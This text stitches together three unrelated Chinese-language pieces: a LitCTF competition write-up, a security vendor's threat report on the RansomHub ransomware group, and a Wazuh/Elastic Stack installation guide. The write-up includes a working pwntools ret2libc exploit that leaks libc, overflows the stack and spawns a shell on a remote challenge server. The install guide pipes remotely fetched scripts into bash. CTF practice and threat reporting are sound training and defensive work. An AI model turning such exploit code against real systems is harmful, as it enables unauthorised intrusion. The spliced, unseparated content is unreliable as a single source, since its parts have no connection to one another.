验证解的正确性 break # 计算模数 n 和欧拉函数 φ(n) n = p * q * r # 计算模数 n phi = (p-1)*(q-1)*(r-1) # 计算欧拉函数 φ(n) # 设置公钥指数和计算私钥 e = 65537 # 一般情况下，公钥指数 e 默认为 65537 d = inverse(e, phi) # 计算私钥 d # 使用私钥解密密文 m = pow(c, d, n) # 使用 d 解密加密消息 c，得到原始消息 m # 将解密后的长整数转换为字节数据 flag = long_to_bytes(m) # 处理并输出解密后的消息 # 方法1：尝试使用 ISO-8859-1 编码解码 try: print("Flag (ISO-8859-1):", flag.decode('ISO-8859-1')) except UnicodeDecodeError as e: print("Unicode Decode Error (ISO-8859-1):", e) # 方法2：输出原始字节数据 print("Flag (raw bytes):", flag) # 方法3：忽略错误并尝试使用 UTF-8 编码解码 try: print("Flag (UTF-8, ignore errors):", flag.decode('utf-8', errors='ignore')) except UnicodeDecodeError as e: print("Unicode Decode Error (UTF-8):", e) 得到flag ->Misc方向 涐贪恋和伱、甾―⑺dé毎兮毎秒 下载附件，看到图片，使用Stegsolve打开，提取LSB最低有效位 看到flag，可以使用 Save Bin保存到txt里面，然后打开 你说得对，但__ 下载附件解压里面有一个png文件，使用Binwalk分离，得到四张图片，分别是二维码的四个部分 经过PS的拼接，得到完整的二维码 扫描二维码，得到flag LitCTF{Genshin_St@rt!!} 盯帧珍珠 在虚拟机里 用file命令发现是gif图片,改后缀为.gif puzzlesolver分帧 逐个查看得到flag 原铁启动 网上找文章发现 flag{good_ 后半段是另一种密文 gamer} 拼到一起得到flag The love 把图片托进010 尾部发现Lit字样 还有一个压缩包 分离出来,发现要密码 进行掩码攻击 得到一个flag.txt是fake password.txt进行base64解码两次 再看音频 deepsound输入刚刚的base64结果 得到flag文件 Everywhere We Go 下载附件打开，有一段mp3的音频，使用Audacity打开查看频谱，放大时间轴，即可看到flag 关键，太关键了! 下载附件，查看到两个文件，打开key.txt，根据提示想到字频统计 使用PuzzleSolver工具字频统计（也可以用在线网站或者其他工具） 猜测bingo即是一个密码，在flag.txt中，有一段类似flag 的字符串，使用随波逐流工具加上密码bingo，即可爆出flag 发现是Keyword密码，替换为小写并且更换为LitCTF{}包裹即可提交 舔到最后应有尽有 打开文件怀疑是base64隐写,puzzleSolver一把梭 女装照流量 逐个流量分析,发现传马了 发现是蚁剑流量 先导出所有http对象,保存起来,发现ma(19).php有pk字样,放到010里 删除第一个pk起那面的字符.然后保存为zip后缀 接着分析流量 先url解码 进行base64解码时发现不对,仔细观察代码发现 红框里面的代码时重第三个字符开始,我们要把前2个字符给删掉,然后进行base64 找到关键代码. 压缩包密码是PaSsw0rd_LitCtF_L0vely_tanJi 解开压缩包 ->PWN方向 ATM 在case3中有代码逻辑错误，因为nbyte是个字符串类型，不管输入多少，nbtyes相加的值的都是nptr的地址 低4字节，这里可以通过控制case3的次数，从而使的nbyte即余额变得很大 在case5处泄露了libc地址，并且读入nbytes字节的值，会造成栈溢出，覆盖返回地址，调用libc中system函 数拿到shell 脚本如下: from pwn import * from LibcSearcher import * #io=process('./app') #io=remote("node3.anna.nssctf.cn","28377") io=remote("node1.anna.nssctf.cn",28654) io.recvuntil(b'password:') io.sendline(b'1') for i in range(10): io.recvuntil(b'4.Exit') io.sendline(b'3') io.recvuntil(b'deposit:') io.sendline(b'1') io.recvuntil(b'4.Exit') io.sendline(b'1') io.recvuntil(b'Your balance is:') n=int(io.recvuntil(b'$')[:-1]) print(n) if n > 0: break io.recvuntil(b'4.Exit') io.sendline(b'5') io.recvuntil(b'0x') leak=int(io.recv(12),16) print(hex(leak)) libc=LibcSearcher('printf',leak) libc_base=leak-libc.dump('printf') system=libc.dump('system')+libc_base bin_sh=libc.dump('str_bin_sh')+libc_base pop_rdi=0x00401233 #: pop rdi ; re ret=0x40147D payload=b'a'*0x168+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system) #gdb.attach(io) io.sendline(payload) io.sendline(b'4') io.interactive() ->REVERSE方向 编码喵 c++的逆向 换表base64，直接解密即可 ezrc4 初始化s盒 rc4加密 最后与buf处数据进行比较 这里fenkey解密出来的是乱码 发现有函数对key进行了异或操作,写个脚本异或回来 key='fenkey?' key1=[0x0a,0x0c,0x1a,0x8,0x11,0x1f,0x1e,0x0] ret="" for i in range(len(key)): a=ord(key[i]) a^=key1[i] ret+=chr(a) print(ret) 得到真正的key 最后rc4解密即可拿到flag hello_upx 查壳存在upx 直接用upx脱壳失败 用010查看一下文件 发现upx标志位被修改了 修改回来再进行脱壳 ida打开，发现对flag ascii值进行了加减操作，修改回来即可 解密脚本 enc=[ 0x4C, 0x68, 0x72, 0x40, 0x50, 0x41, 0x75, 0x70,0x2B, 0x63, 0x59, 0x25, 0x61, 0x58, 0x51, 0x65, 0x20, 0x4E, 0x5A, 0x1E, 0x60, 0x4E, 0x5E, 0x4F,101] flag='' for i in range(len(enc)): flag+=chr(enc[i]+i) print(flag) ez_python python打包的exe文件 用pyinstxtractor脚本提取出来 https://github.com/extremecoders-re/pyinstxtractor 注意这里文件是python3.11,也要把自己python环境切换到python11不然不会提取库文件 得到pyc文件 反编译成python代码 #!/usr/bin/env python # visit https://tool.lu/pyc/ for more information # Version: Python 3.11 import Litctfbase64 flag = input('flag:') flag = Litctfbase64.b64decode(flag) if flag == 'X=3o4hx=0EZwf=mMv13gX=3o4hx=qje2ZjtgZQmEKXZog4==': print('win') return None print('no') 导入了自定义库，这个库在这个文件夹里 换表base64

1 概述 RansomHub勒索攻击组织被发现于2024年2月，自出现以来持续活跃，采用勒索软件即服务（RaaS）模式运营，通过“窃取文件+加密数据”双重勒索策略对受害者实施侵害。目前，尚未发现能够成功解密其加密数据的有效工具。该组织利用特定方式公开受害者的敏感信息，并以此为要挟，迫使受害者支付赎金或满足其他非法要求，以避免其数据被进一步泄露或出售。截至2024年9月12日，该组织所使用的信息发布站点共有227名受害者信息，实际受害者数量会更多，因为攻击者出于某些原因可能选择不公开或删除信息，例如在与受害者进行协商谈判并达成一致后，或者受害者支付了赎金以换取信息的删除。 RansomHub勒索攻击组织使用的攻击技战术与Knight勒索攻击组织有着显著的相似之处。此外，它与曾经在勒索攻击领域活跃但现已退出的BlackCat（又名ALPHV）组织似乎存在某种联系。在最近发现的攻击事件中，RansomHub组织表现出了利用高级持续性威胁（Advanced Persistent Threat,APT）组织常用的技战术来执行勒索攻击的能力。因此，RansomHub组织的背景错综复杂，究竟是“集万恶于一身”还是“另立山头”，目前尚未明确，这些推测指向了一个复杂的网络犯罪生态系统，其中攻击者之间的界限可能远比表面看起来的要模糊。 2 组织背景 2024年2月，暗网监控云服务商ParanoidLab发现名为“koley”的用户在黑客论坛发布关于RansomHub勒索攻击组织RaaS的相关计划[1]，用于招揽附属成员，包括勒索赎金分赃比例、加密工具特性和部分规则等内容。 图 2‑1 RansomHub组织RaaS计划 2023年5月，Cyclops勒索攻击组织首次出现在公众视野中，同年7月更名为Knight。2024年2月，有关该组织成员在黑客论坛上公开销售其核心源代码的消息被披露[2]。与此同时，RansomHub勒索攻击组织在同一月份被发现，其使用的勒索软件载荷和技战术与Knight有着显著的相似之处[3]，而且这两个组织的成员在论坛中注册时间点相同。这种相似性不难引发猜测，包括以下几种可能性：RansomHub可能采用了Knight的源代码；或者，Knight的一部分原成员可能已经转投RansomHub；又或者，Knight可能进行了一次品牌重塑，以RansomHub的新身份继续其网络犯罪行为。 图 2‑2 Knight组织出售代码 2024年2月，美国医疗保健行业的巨头Change Healthcare不幸成为BlackCat勒索攻击组织成员“Notchy”所发动攻击的目标[4]。这次攻击导致公司的部分业务系统遭到加密，还使得数以TB计的敏感数据被窃。面对这种情况，Change Healthcare在3月初做出了支付赎金的决定，总额约2200万美元，这是为了确保公司的数据能够恢复，并且防止被盗数据被进一步泄露或在黑市上出售。但成员“Notchy”表示受害者支付赎金后并未收到自己应得的分成部分，全额赎金都被BlackCat管理人员扣押。随后，BlackCat管理人员在黑客论坛中表示BlackCat这一品牌退出勒索市场[5]，其代码已出售。4月，“Notchy”将窃取到的数据转移到RansomHub勒索攻击组织并继续勒索Change Healthcare。种种行径不禁让人心生疑窦，是否是其自导自演的一出戏，以此来误导公众，让外界相信BlackCat真的退出了勒索软件市场，抑或是换了个名头，继续为非作歹。 ·勒索软件样本部分 RansomHub勒索软件样本通过C++和Go语言进行编写，为干扰安全人员分析，代码段利用特定方式进行混淆。勒索软件样本执行前提需读取特定json文件，若读取失败则无法执行样本。这一技术手段与BlackCat勒索软件存在相似点[6]。 勒索载荷执行时需读取前置json文件，根据json文件中预设的字段信息实现不同功能。 图 2‑3 json文件中的功能字段 根据json文件内的字段设定，结合勒索软件部分特性猜测其对应功能，具体信息见下表： 表 2‑1 json内字段及对应功能信息表 字段 对应功能 字段 对应功能 extension 被加密文件的后缀名 net spread 网络传播 local disks 本地磁盘加密 running one 只执行一次 self delete 自删除 white files 不加密的文件 white hosts 不加密的主机 credentials 用于访问的凭证信息 kill services 结束特定服务 set wallpaper 设置桌面背景 white folders 不加密的目录 note file name 勒索信名称 note full text 完整勒索信内容 kill processes 结束特定进程 network shares 网络共享加密 note short text 简短勒索信内容 master public key 用于加密的主公钥 在勒索软件功能这部分，RansomHub与Knight均支持通过命令行模式选择不同选项，从而实现不同功能，且部分模式与对应字段均相同。 图 2‑4 RansomHub与Knight部分功能对比 RansomHub勒索攻击组织近期利用自带易受攻击的驱动程序（Bring Your Own Vulnerable Driver,BYOVD）技术开展勒索攻击。攻击者利用此类技术将存在安全漏洞的合法驱动程序植入目标系统，这些驱动程序由于拥有合法的数字签名，往往能够逃避安全软件的审查，从而不被标记或阻止。这些驱动程序，尤其是内核模式的驱动程序，一旦被成功利用，便能为攻击者提供一种手段，以实现对目标系统的内核级权限提升。这种权限提升不仅赋予攻击者对系统资源的全面访问权，还使他们能够对端点安全软件进行禁用或规避其检测，从而在目标系统中肆意进行各种恶意活动。 值得注意的是，这种策略并非RansomHub的独创，包括Lazarus和Lamberts在内的一些APT组织，也曾使用过类似的技术开展攻击活动。此外，BlackCat、Cuba和LockBit[7]等勒索攻击组织也纷纷效仿，利用这种手段实施勒索攻击。正如安天在2021年发布的《网络安全威胁的回顾与展望》[8]中所提到的，部分勒索攻击能力已经达到“APT”水平。 3 受害者信息发布平台 RansomHub组织将其受害者的信息发布在特定的Tor网络地址上。每个受害者都有自己独立的信息展示区。该组织根据是否已经公开了窃取的数据，将受害者的状态分为两种：“未公开”（倒计时状态）和“已公开”（PUBLISHED）。在每个受害者的状态信息下方，还详细列出了包括被浏览次数（Visits）、窃取数据的总量（Data Size）、最后更新时间（Last View）以及受害者信息首次发布的时间等关键信息。 图 3‑1 发布受害者信息的Tor页面 如下图所示，该受害者信息栏表示当前从受害者窃取到的数据已公开，已被浏览2585次，窃取数据50 GB，上次更新时间：8月26日03:30:27 UTC，最初发布时间为8月21日12:03:03 UTC。 图 3‑2 受害者信息状态 进入信息栏中可以看到对受害者的简介，部分窃取到的数据示例和用于下载已公开数据的地址等信息。 图 3‑3 受害者信息及数据下载地址 该组织还采用拍卖的方式出售窃取到的数据。 图 3‑4 采用拍卖的形式出售数据 关于页面的内容为该组织相关介绍和一些条例。 图 3‑5 Tor网站中组织介绍 联系页面的内容为该组织对受害者和想成为附属成员预留的内容。 图 3‑6 Tor网站中联系信息 4 防护建议 建议企业用户部署专业的终端安全防护产品，对本地新增和启动文件进行实时检测，并周期性进行网内病毒扫描。安天智甲终端安全系列产品（以下简称“智甲”）依托安天自研威胁检测引擎和内核级主动防御能力，可以有效查杀本次发现病毒样本。 智甲具备内核级防护能力，基于内核驱动持续监控进程等内存对象操作行为动作，研判是否存在持久化、提权、信息窃取等攻击动作，并且结合勒索行为特征库检测，可分析进程行为是否疑似勒索攻击行为，对发现的勒索攻击可在第一时间进行阻断。 图 4‑1 发现病毒时，智甲第一时间拦截并发送告警 智甲还为用户提供统一管理平台，管理员可通过平台集中查看网内威胁事件详情，并批量进行处置，提高终端安全运维效率。 图 4‑2通过智甲管理中心查看并完成威胁事件处置 5 参考链接 [1] ParanoidLab.ParanoidLab spotted RansomHub, a new Ransomware as a Service (RaaS) on the Dark Web.(2024-02-02) https://www.linkedin.com/feed/update/urn:li:activity:7159288343535484928/ [2] BleepingComputer.Knight ransomware source code for sale after leak site shuts down [R/OL].(2024-02-20) https://www.bleepingcomputer.com/news/security/knight-ransomware-source-code-for-sale-after-leak-site-shuts-down/ [3] Symantec.RansomHub: New Ransomware has Origins in Older Knight [R/OL].(2024-06-05) https://symantec-enterprise-blogs.security.com/threat-intelligence/ransomhub-knight-ransomware [4] Forescout.Analysis: A new ransomware group emerges from the Change Healthcare cyber attack [R/OL].(2024-05-09) https://www.forescout.com/blog/analysis-a-new-ransomware-group-emerges-from-the-change-healthcare-cyber-attack/ [5] BleepingComputer.BlackCat ransomware shuts down in exit scam, blames the "feds"[R/OL].(2024-03-05) https://www.bleepingcomputer.com/news/security/blackcat-ransomware-shuts-down-in-exit-scam-blames-the-feds/ [6] 安天.警惕因BlackCat勒索软件造成的数据泄露[R/OL].(2023-07-03) https://www.antiy.cn/research/notice&report/research_report/BlackCat_Analysis.html [7] 安天.波音遭遇勒索攻击事件分析复盘——定向勒索的威胁趋势分析与防御思考[R/OL].(2023-12-30) https://www.antiy.cn/research/notice&report/research_report/BoeingReport.html [8] 安天.2021年网络安全威胁的回顾与展望[R/OL].(2022-01-28) https://www.antiy.cn/research/notice&report/research_report/2021_AnnualReport.html

安装Wazuh服务器 Wazuh服务器可以安装在任何类型的Unix操作系统上。最常见安装在Linux上。如果可以为您的系统提供自动化脚本，则安装过程会更容易，但是，从源码构建和安装也非常简单。 通常在Wazuh服务器上安装两个组件：管理器和API。此外，对于分布式体系结构（Wazuh服务器将数据发送到远程Elastic Stack集群），需要安装Filebeat。 安装Wazuh服务器有多种选择，具体取决于操作系统以及是否希望从源代码构建。请参阅下表并选择如何安装： 类型描述 RPM包 在CentOS / RHEL / Fedora上安装Wazuh服务器 DEB包 在Debian/Ubuntu上安装Wazuh服务器 注意 强烈建议在64位操作系统上安装Wazuh Server，因为Wazuh API在32位平台上不可用。如果没有Wazuh API，Wazuh Kibana应用程序的大部分功能都将无法使用。同样，如果您为Wazuh Server平台使用Red Hat或CentOS，请确保它是版本6或更高版本才能正确安装Wazuh API。 使用RPM软件包安装Wazuh服务器 对于CentOS / RHEL / Fedora平台，安装Wazuh服务器组件需要在添加更新源后安装相关软件包。 注意：下面使用的许多命令都需要以root用户权限执行。 添加Wazuh存储库 设置Wazuh的第一步是将Wazuh更新源添加到您的系统中。如果您想直接下载wazuh-manager软件包，或查看兼容版本，请单击此处。 要设置更新源，请运行以下命令： # cat > /etc/yum.repos.d/wazuh.repo <<\EOF [wazuh_repo] gpgcheck=1 gpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH enabled=1 name=Wazuh repository baseurl=https://packages.wazuh.com/3.x/yum/ protect=1 EOF 对于CentOS-5和RHEL-5： # cat > /etc/yum.repos.d/wazuh.repo <<\EOF [wazuh_repo] gpgcheck=1 gpgkey=http://packages.wazuh.com/key/GPG-KEY-WAZUH-5 enabled=1 name=Wazuh repository baseurl=http://packages.wazuh.com/3.x/yum/5/$basearch/ protect=1 EOF 安装Wazuh Manager 下一步是在您的系统上安装Wazuh Manager： # yum install wazuh-manager 完成此过程后，您可以使用以下命令检查服务状态 a.for Systemd： # systemctl status wazuh-manager b.For SysV Init: # service wazuh-manager status 安装Wazuh API 要运行Wazuh API，需要NodeJS> = 4.6.1。如果您没有安装NodeJS或者您的版本低于4.6.1，我们建议您添加官方NodeJS更新源库，如下所示： # curl --silent --location https://rpm.nodesource.com/setup_8.x | bash - 然后，安装NodeJS： # yum install nodejs 2.要运行Wazuh API，需要Python> = 2.7。它默认安装或包含在大多数Linux发行版的官方库中。 要确定系统上的python版本是否低于2.7，可以运行以下命令： # python --version It is possible to set a custom Python path for the API in ``/var/ossec/api/configuration/config.js``, in case the stock version of Python in your distro is too old: config.python = [ // Default installation { bin: "python", lib: "" }, // Package 'python27' for CentOS 6 { bin: "/opt/rh/python27/root/usr/bin/python", lib: "/opt/rh/python27/root/usr/lib64" } ]; CentOS 6和Red Hat 6附带Python 2.6，但是，你可以并行安装Python 2.7来兼容旧版本 a.对于CentOS 6： # yum install -y centos-release-scl # yum install -y python27 b.对于RHEL 6： # yum install python27 您可能需要首先启用存储库以获取python27，使用如下命令： # yum-config-manager --enable rhui-REGION-rhel-server-rhscl # yum-config-manager --enable rhel-server-rhscl-6-rpms 3.安装Wazuh API。如果需要，它将更新NodeJS： # yum install wazuh-api 4.完成此过程后，您可以使用以下命令检查服务状态： a.for Systemd： # systemctl status wazuh-api b.for SysV Init： # service wazuh-api status 5.（可选）禁用Wazuh更新源： 建议禁用Wazuh更新源以防止意外升级。为此，请使用以下命令： # sed -i "s/^enabled=1/enabled=0/" /etc/yum.repos.d/wazuh.repo 安装Filebeat Filebeat是Wazuh服务器上的工具，可以将警报和归档事件安全地转发到Elastic Stack服务器上的Logstash服务上 警告：在单主机架构中（Wazuh服务器和Elastic Stack安装在同一系统中），不需要安装Filebeat，因为Logstash将能够直接从本地文件系统读取事件/警报数据，而无需转发器。 RPM软件包适合安装在Red Hat，CentOS和其他基于RPM的系统上 从Elastic安装GPG密钥，然后安装Elastic更新源： # rpm --import https://packages.elastic.co/GPG-KEY-elasticsearch # cat > /etc/yum.repos.d/elastic.repo << EOF [elasticsearch-6.x] name=Elasticsearch repository for 6.x packages baseurl=https://artifacts.elastic.co/packages/6.x/yum gpgcheck=1 gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch enabled=1 autorefresh=1 type=rpm-md EOF 2.安装Filebeat： # yum install filebeat-6.6.0 3.从Wazuh存储库下载Filebeat配置文件。这是预配置为将Wazuh警报转发给Logstash： # curl -so /etc/filebeat/filebeat.yml https://raw.githubusercontent.com/wazuh/wazuh/3.8/extensions/filebeat/filebeat.yml 4. 编辑文件/etc/filebeat/filebeat.yml并替换ELASTIC_SERVER_IP 为Elastic Stack服务器的IP地址或主机名。例如： output: logstash: hosts: ["ELASTIC_SERVER_IP:5000"] 5.启动Filebeat服务： a.for Systemd： # systemctl daemon-reload # systemctl enable filebeat.service # systemctl start filebeat.service b.for SysV Init： # chkconfig --add filebeat # service filebeat start 6.（可选）禁用Elasticsearch存储库： 建议禁用Elasticsearch更新源，以防止升级到较新的Elastic Stack版本，为此，请使用以下命令： # sed -i "s/^enabled=1/enabled=0/" /etc/yum.repos.d/elastic.rep 使用DEB包安装Wazuh服务器 对于Debian / Ubuntu平台，安装Wazuh服务器组件需要在添加存储库后安装相关的软件包。下面使用的许多命令都需要以root用户权限执行。 添加Wazuh更新源 设置Wazuh的第一步是将Wazuh更新源添加到您的系统上。如果您想直接下载wazuh-manager软件包，或查看兼容版本，请单击此处。 要执行此过程中，curl，apt-transport-https和lsb-release软件包必须安装在系统上。如果它们没被安装，请使用以下命令安装它们： # apt-get update # apt-get install curl apt-transport-https lsb-release 如果该/usr/bin/python文件不存在（如在Ubuntu 16.04 LTS或更高版本中），请使用以下命令创建Python（2.7或更高版本）： # if [ ! -f /usr/bin/python ]; then ln -s /usr/bin/python3 /usr/bin/python; fi 2.安装GPG密钥 # curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | apt-key add - 3.添加更新源 # echo "deb https://packages.wazuh.com/3.x/apt/ stable main" | tee -a /etc/apt/sources.list.d/wazuh.list 4.更新包 # apt-get update 安装Wazuh Manager 在您的终端上，安装Wazuh manager： # apt-get install wazuh-manager 完成此过程后，您可以使用以下命令检查服务状态： a. for Systemd： # systemctl status wazuh-manager b.for SysV Init： # service wazuh-manager status 安装Wazuh API 要运行Wazuh API，需要NodeJS> = 4.6.1。如果您没有安装NodeJS或者您的版本低于4.6.1，我们建议您添加官方NodeJS存储库，如下所示： # curl -sL https://deb.nodesource.com/setup_8.x | bash - 如果您使用的是Ubuntu 12.04（Precise）或Debian 7（Wheezy），则必须使用以下命令安装NodeJS 6： # curl -sL https://deb.nodesource.com/setup_6.x | bash - 然后，安装NodeJS： # apt-get install nodejs 2.要运行API，需要Python> = 2.7。它默认安装或包含在大多数Linux发行版的官方库中。 要确定系统上的python版本是否低于2.7，可以运行以下命令： # python --version It is possible to set a custom Python path for the API in ``/var/ossec/api/configuration/config.js``, in case the stock version of Python in your distro is too old: config.python = [ // Default installation { bin: "python", lib: "" }, // Package 'python27' for CentOS 6 { bin: "/opt/rh/python27/root/usr/bin/python", lib: "/opt/rh/python27/root/usr/lib64" } ]; 3.安装Wazuh API。如果需要，它将更新NodeJS： # apt-get install wazuh-api 4.完成此过程后，您可以使用以下命令检查服务状态： a.for Systemd： # systemctl status wazuh-api b.for SysV Init： # service wazuh-api status 5.（可选）禁用Wazuh更新： 建议禁用Wazuh更新源以防止意外升级。为此，请使用以下命令： # sed -i "s/^deb/#deb/" /etc/apt/sources.list.d/wazuh.list # apt-get update 或者，您可以将程序包状态设置为hold，这将停止更新（尽管您仍然可以手动升级它） # echo "wazuh-manager hold" | sudo dpkg --set-selections # echo "wazuh-api hold" | sudo dpkg --set-selections 安装Filebeat Filebeat是Wazuh服务器上的工具，可以将警报和归档事件安全地转发到Elastic Stack服务器上的Logstash服务。 警告：在单主机架构中（Wazuh服务器和Elastic Stack安装在同一系统中），不需要安装Filebeat，因为Logstash将能够直接从本地文件系统读取事件/警报数据，而无需转发器。 DEB包适用于Debian，Ubuntu和其他基于Debian的系统。 从Elastic安装GPG密钥，然后安装Elastic存储库： # curl -s https://artifacts.elastic.co/GPG-KEY-elasticsearch | apt-key add - # echo "deb https://artifacts.elastic.co/packages/6.x/apt stable main" | tee /etc/apt/sources.list.d/elastic-6.x.list # apt-get update 2.安装Filebeat： # apt-get install filebeat=6.6.0 3.从Wazuh更新源下载Filebeat配置文件。这是预配置为将Wazuh警报转发给Logstash： # curl -so /etc/filebeat/filebeat.yml https://raw.githubusercontent.com/wazuh/wazuh/3.8/extensions/filebeat/filebeat.yml 4. 编辑文件/etc/filebeat/filebeat.yml并替换ELASTIC_SERVER_IP为Elastic Stack服务器的IP地址或主机名。例如： output: logstash: hosts: ["ELASTIC_SERVER_IP:5000"] 5.启动Filebeat服务： a.for Systemd: # systemctl daemon-reload # systemctl enable filebeat.service # systemctl start filebeat.service b.for SysV Init： # update-rc.d filebeat defaults 95 10 # service filebeat start 6.(可选）禁用Elasticsearch更新： 建议禁用Elasticsear更新源，以防止升级到较新的Elastic Stack版本，为此，请使用以下命令： # sed -i "s/^deb/#deb/" /etc/apt/sources.list.d/elastic-6.x.list # apt-get update 或者，您可以将程序包状态设置为hold，这将停止更新（尽管您仍然可以手动升级它） # echo "filebeat hold" | sudo dpkg --set-selections 安装Elastic Stack 本指南介绍了由Logstash，Elasticsearch和Kibana组成的Elastic Stack服务器的安装。我们将说明这些基于包的组件安装。您也可以从源代码编译tar 安装它们，但是，这不是Wazuh文档中的首选安装。 除了Elastic Stack组件，您还可以找到安装和配置Wazuh应用程序（部署为Kibana插件）的说明。 根据您的操作系统，您可以选择从RPM或DEB软件包安装Elastic Stack。请参阅下表并选择： 类型描述 RPM包 在CentOS / RHEL / Fedora上安装Elastic Stack DEB包 在Debian / Ubuntu上安装Elastic Stack 注意 目前，Elastic Stack仅支持64位操作系统 使用RPM软件包安装Elastic Stack RPM软件包适合安装在Red Hat，CentOS和其他基于RPM的系统上。 注意：下面的许多命令都需要以root用户权限执行。 Preparation Logstash和Elasticsearch需要Oracle Java JRE 8。 注意：以下命令下载Oracle Java JRE需要带上cookie。请访问Oracle Java 8 JRE下载页面以获取更多信息。 # curl -Lo jre-8-linux-x64.rpm --header "Cookie: oraclelicense=accept-securebackup-cookie""https://download.oracle.com/otn-pub/java/jdk/8u202-b08/1961070e4c9b4e26a04e7f5a083f551e/jre-8u202-linux-x64.rpm" 现在，检查包是否已成功下载： # rpm -qlp jre-8-linux-x64.rpm > /dev/null 2>&1&&echo"Java package downloaded successfully"||echo"Java package did not download successfully" 最后，使用yum安装RPM包： # yum -y install jre-8-linux-x64.rpm # rm -f jre-8-linux-x64.rpm 2.安装Elastic存储库及其GPG密钥： # rpm --import https://packages.elastic.co/GPG-KEY-elasticsearch # cat > /etc/yum.repos.d/elastic.repo << EOF [elasticsearch-6.x] name=Elasticsearch repository for 6.x packages baseurl=https://artifacts.elastic.co/packages/6.x/yum gpgcheck=1 gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch enabled=1 autorefresh=1 type=rpm-md EOF Elasticsearch Elasticsearch是一个高度可扩展的全文搜索和分析引擎。有关更多信息，请参阅Elasticsearch。 安装Elasticsearch包： # yum install elasticsearch-6.6.0 2.启动Elasticsearch服务： a.for Systemd： # systemctl daemon-reload # systemctl enable elasticsearch.service # systemctl start elasticsearch.service b.for SysV Init： # chkconfig --add elasticsearch # service elasticsearch start 等待Elasticsearch服务器完成启动非常重要。使用以下命令检查当前状态，该命令应该给出如下所示的响应： # curl "http://localhost:9200/?pretty" { "name" : "Zr2Shu_", "cluster_name" : "elasticsearch", "cluster_uuid" : "M-W_RznZRA-CXykh_oJsCQ", "version" : { "number" : "6.6.0", "build_flavor" : "default", "build_type" : "rpm", "build_hash" : "053779d", "build_date" : "2018-07-20T05:20:23.451332Z", "build_snapshot" : false, "lucene_version" : "7.3.1", "minimum_wire_compatibility_version" : "5.6.0", "minimum_index_compatibility_version" : "5.0.0" }, "tagline" : "You Know, for Search" } 3.为Elasticsearch加载Wazuh模板：Kibana的Wazuh应用程序需要Elasticsearch模板才能正常工作，因此确保正确安装它非常重要。 # curl https://raw.githubusercontent.com/wazuh/wazuh/3.8/extensions/elasticsearch/wazuh-elastic6-template-alerts.json | curl -X PUT "http://localhost:9200/_template/wazuh" -H 'Content-Type: application/json' -d @- 注意：建议编辑默认配置以提高Elasticsearch的性能。为此，请参阅Elasticsearch调优。 Logstash Logstash是收集，解析和转发数据到Elasticsearch的工具，用于索引和存储Wazuh服务器生成的所有日志。有关更多信息，请参阅Logstash。 安装Logstash包： # yum install logstash-6.6.0 2.下载Logstash的Wazuh配置文件： 本地配置（仅在单主机架构中）： # curl -so /etc/logstash/conf.d/01-wazuh.conf https://raw.githubusercontent.com/wazuh/wazuh/3.8/extensions/logstash/01-wazuh-local.conf 由于Logstash用户需要读取alerts.json文件，请运行以下命令将其添加到OSSEC组： # usermod -a -G ossec logstash 远程配置（仅在分布式架构中）： # curl -so /etc/logstash/conf.d/01-wazuh.conf https://raw.githubusercontent.com/wazuh/wazuh/3.8/extensions/logstash/01-wazuh-remote.con 如果您使用CentOS-6 / RHEL-6或Amazon AMI（logstash像服务管理器一样使用Upstart并需要修复，请参阅此错误），请按照以下步骤操作： 编辑文件/etc/logstash/startup.options，将第30行从LS_GROUP = logstash更改为LS_GROUP = ossec 通过运行命令 /usr/share/logstash/bin/system-install，并使用新参数更新服务 重新启动Logstash 4.启用并启动Logstash服务： a.for Systemd： # systemctl daemon-reload # systemctl enable logstash.service # systemctl start logstash.service b.for SysV Init： # chkconfig --add logstash # service logstash start 注意:如果您在不同的系统（分布式体系结构）上运行Wazuh服务器和Elastic Stack服务器，则在Filebeat和Logstash之间配置加密非常重要。为此，请参阅为Filebeat和Logstash设置SSL。 Kibana Kibana是一个灵活，直观的Web界面，用于可视化存储在Elasticsearch中的事件和信息。在Kibana上查找更多信息。 安装Kibana包： # yum install kibana-6.6.0 2.为Kibana安装Wazuh应用程序插件： # sudo -u kibana NODE_OPTIONS="--max-old-space-size=3072" /usr/share/kibana/bin/kibana-plugin install https://packages.wazuh.com/wazuhapp/wazuhapp-3.8.2_6.6.0.zip Kibana插件安装过程可能需要几分钟。请耐心等待。 3.可选，Kibana默认只监听环回接口（localhost）。要将Kibana设置为侦听所有接口，请编辑文件/etc/kibana/kibana.yml取消注释并设置server.host，将值更改为： server.host:"0.0.0.0" 注意：建议为Kibana设置Nginx代理，以便使用SSL加密并启用身份验证。可以在为Kibana设置SSL和身份验证中找到设置代理的说明。 4.启动Kibana服务： a.for Systemd： # systemctl daemon-reload # systemctl enable kibana.service # systemctl start kibana.service b.for SysV Init： # chkconfig --add kibana # service kibana start 5.（可选）禁用Elasticsearch更新源： 建议禁用Elasticsearch更新源，以防止升级到较新的Elastic Stack版本，为此，请使用以下命令： # sed -i "s/^enabled=1/enabled=0/" /etc/yum.repos.d/elastic.repo 使用Debian软件包安装Elastic Stack DEB包适用于Debian，Ubuntu和其他基于Debian的系统。 注意：下面的许多命令都需要以root用户权限执行。 Preparation 1.Logstash和Elasticsearch需要Oracle Java JRE或OpenJDK： a.对于Debian >= 8/Jessie or Ubuntu >= 16.04/Xenial: # apt-get update # apt-get install openjdk-8-jre a. 对于Debian <8 / Jessie： # echo "deb http://ppa.launchpad.net/webupd8team/java/ubuntu xenial main" | tee /etc/apt/sources.list.d/webupd8team-java.list # apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys EEA14886 # apt-get update # apt-get install oracle-java8-installer b.对于Ubuntu <16.04 / Xenial： # add-apt-repository ppa：webupd8team / java ＃ apt-get update ＃ apt-get install oracle-java8-installer 2.安装Elastic存储库及其GPG密钥： # apt-get install curl apt-transport-https # curl -s https://artifacts.elastic.co/GPG-KEY-elasticsearch | apt-key add - # echo "deb https://artifacts.elastic.co/packages/6.x/apt stable main" | tee /etc/apt/sources.list.d/elastic-6.x.list # apt-get update Elasticsearch Elasticsearch是一个高度可扩展的全文搜索和分析引擎。有关更多信息，请参阅Elasticsearch。 安装Elasticsearch包： # apt-get install elasticsearch=6.6.0 2.启动Elasticsearch服务： a.for Systemd： # systemctl daemon-reload # systemctl enable elasticsearch.service # systemctl start elasticsearch.service b.for SysV Init： # update-rc.d elasticsearch defaults 95 10 # service elasticsearch start 